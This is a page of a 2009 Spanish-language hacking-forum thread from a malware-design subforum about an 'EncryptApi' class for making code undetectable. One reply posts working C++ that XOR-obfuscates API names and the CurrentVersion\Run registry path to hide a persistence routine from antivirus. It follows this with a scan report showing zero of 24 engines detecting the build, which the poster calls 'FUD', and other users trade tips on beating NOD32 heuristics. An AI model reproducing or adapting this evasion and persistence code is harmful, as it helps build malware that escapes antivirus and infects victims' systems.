elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: 4n4lDetector v1.3: herramienta de análisis estático de malware


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware
| | |-+  Abril negro (Moderadores: Man-In-the-Middle, WHK, fary)
| | | |-+  Clase EncryptApi (Haz tus códigos indetectables fácilmente)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] 3 Ir Abajo Respuesta Imprimir
Autor Tema: Clase EncryptApi (Haz tus códigos indetectables fácilmente)  (Leído 14,180 veces)
mrscript

Desconectado Desconectado

Mensajes: 9



Ver Perfil
Re: Clase EncryptApi (Haz tus códigos indetectables fácilmente)
« Respuesta #10 en: 27 Mayo 2009, 05:42 »

hice una funcion guiandome de la clase EncryptApi en masm e inmediatamente le doy a crear el exe me dice que es un virus

Cargo la libreria con LoadLibrary, Busco la direccion con GetProcAddress e inmediatamente cifro la cadena CurrentVersion\Run avisa que es un virus...posiblemente la heuristica del nod32 testee el ejecutable buscando rutinas maliciosas


En línea

Nork

Desconectado Desconectado

Mensajes: 195



Ver Perfil
Re: Clase EncryptApi (Haz tus códigos indetectables fácilmente)
« Respuesta #11 en: 27 Mayo 2009, 07:59 »

hice una funcion guiandome de la clase EncryptApi en masm e inmediatamente le doy a crear el exe me dice que es un virus

Cargo la libreria con LoadLibrary, Busco la direccion con GetProcAddress e inmediatamente cifro la cadena CurrentVersion\Run avisa que es un virus...posiblemente la heuristica del nod32 testee el ejecutable buscando rutinas maliciosas

Estás utilizando también la función XOR para cifrar las cadenas?


En línea

C' Est La Vie
Arkangel_0x7C5


Desconectado Desconectado

Mensajes: 361



Ver Perfil
Re: Clase EncryptApi (Haz tus códigos indetectables fácilmente)
« Respuesta #12 en: 27 Mayo 2009, 14:44 »

Eon, modifike tu clase para que funcionara con el MinGW

Aqui os la dejo. Pola en el primer post

Saludos
« Última modificación: 27 Mayo 2009, 17:17 por Arcangel_0x7C5 » En línea

[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.081


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: Clase EncryptApi (Haz tus códigos indetectables fácilmente)
« Respuesta #13 en: 27 Mayo 2009, 15:08 »

hice una funcion guiandome de la clase EncryptApi en masm e inmediatamente le doy a crear el exe me dice que es un virus

Cargo la libreria con LoadLibrary, Busco la direccion con GetProcAddress e inmediatamente cifro la cadena CurrentVersion\Run avisa que es un virus...posiblemente la heuristica del nod32 testee el ejecutable buscando rutinas maliciosas

Nod32 está mejorando enormemente la heurística a archivos, me jugaría algo a que te detecta la cadena CurrentVersion\Run aún estando cifrada, prueba a compilar con otra cadena y mira si te lo detecta. Yo tube problemas al hacer el stub del little joiner, al poner en un dword el tamaño del stub nod32 me lo detectaba, y ya podía pasarle un xor a ese número, poner otro y sumarle la diferencia o lo que fuera que me lo seguía detectando  :¬¬.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Nork

Desconectado Desconectado

Mensajes: 195



Ver Perfil
Re: Clase EncryptApi (Haz tus códigos indetectables fácilmente)
« Respuesta #14 en: 27 Mayo 2009, 16:29 »

Eon, modifike tu clase para que funcionara con el MinGW

Aqui os la dejo. Pola en el primer post

Saludos

Yo no entiendo por que me da un error de memoria  :-\ Si uso Dev C++ y también utiliza gcc
En línea

C' Est La Vie
Arkangel_0x7C5


Desconectado Desconectado

Mensajes: 361



Ver Perfil
Re: Clase EncryptApi (Haz tus códigos indetectables fácilmente)
« Respuesta #15 en: 27 Mayo 2009, 17:18 »

upp, me equivoque al subirlo. arreglado
En línea

~~
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.982


Ver Perfil WWW
Re: Clase EncryptApi (Haz tus códigos indetectables fácilmente)
« Respuesta #16 en: 28 Mayo 2009, 00:51 »

Añadido el link a tu Arcangel_0x7C5, gracias, me consta que unos cuanto usuarios del foro le sacarán buen partido  ;)

mrscript, un gusto volver a verte activo por el foro, en cuanto a tu duda... Pues algo estás haciendo tu mal en asm, mira un código en C++ que te he hecho para el ejemplo (un poco enchorizado, pero se entiende):

Código
  1. #include "EncryptApi.hpp"
  2.  
  3. void xor(char *str, const char *clave, const int tamStr, const int tamClave)
  4. {
  5. for(int n=0; n<=tamStr; n++)
  6. str[n] ^= clave[n%tamClave];
  7. }
  8.  
  9. void main()
  10. {
  11. const char key[] = "a1b2c3";
  12. const int  tamKey = 6;
  13.  
  14. // advapi32.dll
  15. char strAdvapi32[] = { 0x0, 0x55, 0x14, 0x53, 0x13, 0x5a, 0x52, 0x3, 0x4c, 0x56, 0xf, 0x5f, 0x61 };
  16. // RegOpenKeyExA
  17. char strRegOpenKeyEx[] = { 0x33, 0x54, 0x5, 0x7d, 0x13, 0x56, 0xf, 0x7a, 0x7, 0x4b, 0x26, 0x4b, 0x20, 0x31 };
  18. // RegSetValueExA
  19. char strRegSetValueEx[] = { 0x33, 0x54, 0x5, 0x61, 0x6, 0x47, 0x37, 0x50, 0xe, 0x47, 0x6, 0x76, 0x19, 0x70, 0x62 };
  20. // RegCloseKey
  21. char strRegCloseKey[] = { 0x33, 0x54, 0x5, 0x71, 0xf, 0x5c, 0x12, 0x54, 0x29, 0x57, 0x1a, 0x33 };
  22.  
  23. // Software\Microsoft\Windows\CurrentVersion\Run
  24. char strRutaReg[] = { 0x32, 0x5e, 0x4, 0x46, 0x14, 0x52, 0x13, 0x54, 0x3e, 0x7f, 0xa, 0x50, 0x13, 0x5e,
  25.                  0x11, 0x5d, 0x5, 0x47, 0x3d, 0x66, 0xb, 0x5c, 0x7, 0x5c, 0x16, 0x42, 0x3e, 0x71,
  26.      0x16, 0x41, 0x13, 0x54, 0xc, 0x46, 0x35, 0x56, 0x13, 0x42, 0xb, 0x5d, 0xd, 0x6f,
  27.  0x33, 0x44, 0xc, 0x32 };
  28.  
  29.  
  30. // desciframos
  31. xor(strAdvapi32, key, sizeof(strAdvapi32)-1, tamKey);
  32. xor(strRegOpenKeyEx, key, sizeof(strRegOpenKeyEx)-1, tamKey);
  33. xor(strRegSetValueEx, key, sizeof(strRegSetValueEx)-1, tamKey);
  34. xor(strRegCloseKey, key, sizeof(strRegCloseKey)-1, tamKey);
  35. xor(strRutaReg, key, sizeof(strRutaReg)-1, tamKey);
  36.  
  37. // Apis
  38. EncryptApi<LONG>  myRegOpenKeyEx  (strRegOpenKeyEx,  strAdvapi32, 5);
  39. EncryptApi<LONG>  myRegSetValueEx (strRegSetValueEx, strAdvapi32, 2);
  40. EncryptApi<LONG>  myRegCloseKey   (strRegCloseKey,   strAdvapi32, 5);
  41.  
  42. // Código
  43. HKEY hkey;
  44. myRegOpenKeyEx(5, HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hkey);
  45. myRegSetValueEx(6, hkey,"Nombre_clave",0,REG_SZ,(const BYTE*)"ruta de tu ejecutable",sizeof("ruta de tu ejecutable"));
  46. myRegCloseKey(1, hkey);
  47.  
  48. /*
  49. Código sin cifrar:
  50. ---------------------
  51. HKEY hkey;
  52. RegOpenKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hkey);
  53. RegSetValueExA(hkey,"Nombre_clave",0,REG_SZ,(const BYTE*)"ruta de tu ejecutable",sizeof("ruta de tu ejecutable"));
  54. RegCloseKey(hkey);*/
  55. }

Resultados:
 
File Info

Report generated: 28.5.2009 at 0.46.24 (GMT 1)
Filename: registro.exe
File size: 9 KB
MD5 Hash: E35F0136E24CBCD98EDE8B5C65A2D5CD
SHA1 Hash: EB94157F26C96ABA1C02ACD4BC08DF6FE41E4249
Packer detected: Nothing found *
Self-Extract Archive: Nothing found
Binder Detector:  Nothing found
Detection rate: 0 on 24

Detections

a-squared - Nothing found!
Avira AntiVir - Nothing found!
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
ClamAV - Nothing found!
Comodo - Nothing found!  
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
G DATA - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found!  
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found!  
Norman - Nothing found!
Panda - Nothing found!
Quick Heal - Nothing found!
Solo Antivirus - Nothing found!
Sophos - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!    
Virus Buster - Nothing found!

Scan report generated by  
NoVirusThanks.org



Puedes escanearlo en esa web marcando la opción de no distribur sin problemas... Como ves te lo deja FUD y crea con éxito una clave en HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

Si quieres pegha la traducción a asm que has hecho del método a ver si le vemos la diferencia :P
Salu2
En línea

mrscript

Desconectado Desconectado

Mensajes: 9



Ver Perfil
Re: Clase EncryptApi (Haz tus códigos indetectables fácilmente)
« Respuesta #17 en: 28 Mayo 2009, 04:47 »

Reescribire de nuevo la  funcion a ver si tenia algun error
En línea

Nork

Desconectado Desconectado

Mensajes: 195



Ver Perfil
Re: Clase EncryptApi (Haz tus códigos indetectables fácilmente)
« Respuesta #18 en: 28 Mayo 2009, 13:24 »

upp, me equivoque al subirlo. arreglado

Sí!!! Arcangel_0x7C5 ahora sí ;-) Excelente aporte! E0N sigue dándole caña a éste subforo  :P


S4ludos!
En línea

C' Est La Vie
tyldan

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Re: Clase EncryptApi (Haz tus códigos indetectables fácilmente)
« Respuesta #19 en: 1 Junio 2009, 15:46 »

[quote author=E0N link=topic=255039.msg1234972#msg1234972
Así que abrimos con nuestro debugger favorito la dll en cuestión, nos vamos a esa dirección y nos fijamos en el número de bytes completos que podemos elegir, es decir, si la primera instrucción ocupa 5 bytes elegimos ese valor, en ningún caso se puede partir por la mitad una instrucción, pues el programa no funcionaría.
[/quote]

Alguien intento abrir una dll?

La mayoria de los debuggers que tengo no pueden abrir las dll  :-\

UPDATE: Tengo una version vieja de OllyDB, por eso no me admite las Dlls, col la nueva sirve  ;-)
« Última modificación: 1 Junio 2009, 15:56 por tyldan » En línea

Páginas: 1 [2] 3 Ir Arriba Respuesta Imprimir 

Ir a:  
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines